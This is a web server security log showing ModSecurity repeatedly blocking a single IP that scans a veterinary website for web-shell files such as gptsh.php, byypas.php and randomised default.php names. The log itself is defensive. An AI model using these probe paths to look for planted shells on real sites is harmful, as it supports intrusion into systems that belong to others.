[Mon Apr 13 17:17:21.404455 2026] [:error] [pid 57183:tid 57187] [client 20.100.201.121:64588] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0oTDO3t8R5NaxzYTUNwAAAUI"]
[Mon Apr 13 17:17:21.436960 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:64144] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "ady0obHZEIkQ0Zmgp5ogBQAAAMU"]
[Mon Apr 13 17:17:21.795188 2026] [:error] [pid 7228:tid 7232] [client 20.100.201.121:64163] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new3.php"] [unique_id "ady0oQEnn1dQrOSHHNVbKQAAAQI"]
[Mon Apr 13 17:17:22.117809 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:65149] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady0orHZEIkQ0Zmgp5ogCAAAAMs"]
[Mon Apr 13 17:17:22.690661 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:65147] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady0orHZEIkQ0Zmgp5ogCwAAAMY"]
[Mon Apr 13 17:17:22.815617 2026] [:error] [pid 9314:tid 9333] [client 20.100.201.121:64624] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady0om_r4W8fX2GWyGTLMQAAAZE"]
[Mon Apr 13 17:17:23.226495 2026] [:error] [pid 57183:tid 57189] [client 20.100.201.121:63648] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0ozDO3t8R5NaxzYTUPQAAAUQ"]
[Mon Apr 13 17:17:23.789919 2026] [:error] [pid 9314:tid 9323] [client 20.100.201.121:64642] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady0o2_r4W8fX2GWyGTLNAAAAYc"]
[Mon Apr 13 17:17:24.369545 2026] [:error] [pid 9314:tid 9318] [client 20.100.201.121:65147] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ady0pG_r4W8fX2GWyGTLOAAAAYI"]
[Mon Apr 13 17:17:24.728862 2026] [:error] [pid 9314:tid 9325] [client 20.100.201.121:65155] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady0pG_r4W8fX2GWyGTLOwAAAYk"]
[Mon Apr 13 17:17:24.839361 2026] [:error] [pid 7228:tid 7236] [client 20.100.201.121:65160] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sid3.php"] [unique_id "ady0pAEnn1dQrOSHHNVbMQAAAQY"]
[Mon Apr 13 17:17:25.783068 2026] [:error] [pid 9314:tid 9322] [client 20.100.201.121:64576] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0pW_r4W8fX2GWyGTLQwAAAYY"]
[Mon Apr 13 17:17:27.079915 2026] [:error] [pid 9314:tid 9337] [client 20.100.201.121:63692] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0p2_r4W8fX2GWyGTLSAAAAZU"]
[Mon Apr 13 17:17:27.887401 2026] [:error] [pid 57183:tid 57189] [client 20.100.201.121:64679] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0pzDO3t8R5NaxzYTUSQAAAUQ"]
[Mon Apr 13 17:17:28.727863 2026] [:error] [pid 9314:tid 9319] [client 20.100.201.121:64071] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bolt.php"] [unique_id "ady0qG_r4W8fX2GWyGTLSwAAAYM"]
[Mon Apr 13 17:17:29.544442 2026] [:error] [pid 7228:tid 7235] [client 20.100.201.121:64592] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0qQEnn1dQrOSHHNVbOQAAAQU"]
[Mon Apr 13 17:17:29.956719 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:64608] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ady0qTDO3t8R5NaxzYTUUAAAAVM"]
[Mon Apr 13 17:17:30.419118 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:64156] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0qjDO3t8R5NaxzYTUUwAAAVE"]
[Mon Apr 13 17:17:31.383085 2026] [:error] [pid 9314:tid 9329] [client 20.100.201.121:64101] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0q2_r4W8fX2GWyGTLUgAAAY0"]
[Mon Apr 13 17:17:32.719837 2026] [:error] [pid 7228:tid 7252] [client 20.100.201.121:65195] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file61.php"] [unique_id "ady0rAEnn1dQrOSHHNVbQAAAARY"]
[Mon Apr 13 17:17:33.388522 2026] [:error] [pid 7228:tid 7251] [client 20.100.201.121:64607] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady0rQEnn1dQrOSHHNVbQQAAARU"]
[Mon Apr 13 17:17:34.762591 2026] [:error] [pid 9314:tid 9325] [client 20.100.201.121:64084] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ady0rm_r4W8fX2GWyGTLYwAAAYk"]
[Mon Apr 13 17:17:35.818786 2026] [:error] [pid 57183:tid 57201] [client 20.100.201.121:65137] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0rzDO3t8R5NaxzYTUZwAAAVA"]
[Mon Apr 13 17:17:36.296857 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:64696] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nw.php"] [unique_id "ady0sLHZEIkQ0Zmgp5ogFQAAAMo"]
[Mon Apr 13 17:17:38.270556 2026] [:error] [pid 57183:tid 57199] [client 20.100.201.121:65150] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady0sjDO3t8R5NaxzYTUdwAAAU4"]
[Mon Apr 13 17:17:38.800583 2026] [:error] [pid 63406:tid 63423] [client 20.100.201.121:65089] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ady0srHZEIkQ0Zmgp5ogGQAAAMw"]
[Mon Apr 13 17:17:39.173900 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:64128] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady0s7HZEIkQ0Zmgp5ogGwAAANU"]
[Mon Apr 13 17:17:39.755806 2026] [:error] [pid 63406:tid 63427] [client 20.100.201.121:64180] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady0s7HZEIkQ0Zmgp5ogHwAAANA"]
[Mon Apr 13 17:17:40.020958 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:65095] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0tLHZEIkQ0Zmgp5ogJAAAAMY"]
[Mon Apr 13 17:17:40.252864 2026] [:error] [pid 63406:tid 63413] [client 20.100.201.121:65117] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "ady0tLHZEIkQ0Zmgp5ogJwAAAMI"]
[Mon Apr 13 17:17:40.421655 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:65180] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "ady0tLHZEIkQ0Zmgp5ogKgAAAM0"]
[Mon Apr 13 17:17:41.020487 2026] [:error] [pid 63406:tid 63420] [client 20.100.201.121:65114] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady0tbHZEIkQ0Zmgp5ogMQAAAMk"]
[Mon Apr 13 17:17:41.020824 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:65158] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "ady0tbHZEIkQ0Zmgp5ogMgAAAMY"]
[Mon Apr 13 17:17:41.643226 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:64652] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady0tbHZEIkQ0Zmgp5ogOgAAAMs"]
[Mon Apr 13 17:17:41.717187 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:64581] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "ady0tbHZEIkQ0Zmgp5ogPAAAANc"]
[Mon Apr 13 17:17:42.188395 2026] [:error] [pid 9314:tid 9333] [client 20.100.201.121:65093] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady0tm_r4W8fX2GWyGTLkAAAAZE"]
[Mon Apr 13 17:17:42.786874 2026] [:error] [pid 63406:tid 63424] [client 20.100.201.121:63724] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Cap.php"] [unique_id "ady0trHZEIkQ0Zmgp5ogQwAAAM0"]
[Mon Apr 13 17:17:42.929120 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:63709] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rithin.php"] [unique_id "ady0trHZEIkQ0Zmgp5ogRgAAAMs"]
[Mon Apr 13 17:17:43.562834 2026] [:error] [pid 57183:tid 57207] [client 20.100.201.121:65111] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ady0tzDO3t8R5NaxzYTUfgAAAVY"]
[Mon Apr 13 17:17:43.721321 2026] [:error] [pid 57183:tid 57208] [client 20.100.201.121:64094] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady0tzDO3t8R5NaxzYTUfwAAAVc"]
[Mon Apr 13 17:17:44.387626 2026] [:error] [pid 9314:tid 9337] [client 20.100.201.121:63692] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ady0uG_r4W8fX2GWyGTLmgAAAZU"]
[Mon Apr 13 17:17:44.535439 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:64132] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0uLHZEIkQ0Zmgp5ogTwAAANI"]
[Mon Apr 13 17:17:44.584340 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:64610] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady0uLHZEIkQ0Zmgp5ogUAAAAMY"]
[Mon Apr 13 17:17:45.145953 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:64147] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ady0ubHZEIkQ0Zmgp5ogVgAAANc"]
[Mon Apr 13 17:17:45.402958 2026] [:error] [pid 57183:tid 57200] [client 20.100.201.121:65134] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady0uTDO3t8R5NaxzYTUggAAAU8"]
[Mon Apr 13 17:17:46.029043 2026] [:error] [pid 57183:tid 57192] [client 20.100.201.121:63728] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a4.php"] [unique_id "ady0ujDO3t8R5NaxzYTUhQAAAUc"]
[Mon Apr 13 17:17:46.160664 2026] [:error] [pid 9314:tid 9328] [client 20.100.201.121:65172] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/uuu.php"] [unique_id "ady0um_r4W8fX2GWyGTLngAAAYw"]
[Mon Apr 13 17:17:46.707209 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:64657] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady0um_r4W8fX2GWyGTLpAAAAZc"]
[Mon Apr 13 17:17:47.035921 2026] [:error] [pid 9314:tid 9323] [client 20.100.201.121:64181] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0u2_r4W8fX2GWyGTLpgAAAYc"]
[Mon Apr 13 17:17:47.782570 2026] [:error] [pid 63406:tid 63418] [client 20.100.201.121:65119] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "ady0u7HZEIkQ0Zmgp5ogXQAAAMc"]
[Mon Apr 13 17:17:47.800969 2026] [:error] [pid 63406:tid 63434] [client 20.100.201.121:63690] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady0u7HZEIkQ0Zmgp5ogXgAAANc"]
[Mon Apr 13 17:17:48.012244 2026] [:error] [pid 63406:tid 63414] [client 20.100.201.121:64089] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0vLHZEIkQ0Zmgp5ogYAAAAMM"]
[Mon Apr 13 17:17:48.689944 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:64143] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jlex.php"] [unique_id "ady0vLHZEIkQ0Zmgp5ogYwAAANY"]
[Mon Apr 13 17:17:48.748956 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:65210] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0vLHZEIkQ0Zmgp5ogZAAAANI"]
[Mon Apr 13 17:17:49.404104 2026] [:error] [pid 63406:tid 63435] [client 20.100.201.121:64695] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ady0vbHZEIkQ0Zmgp5ogZwAAANg"]
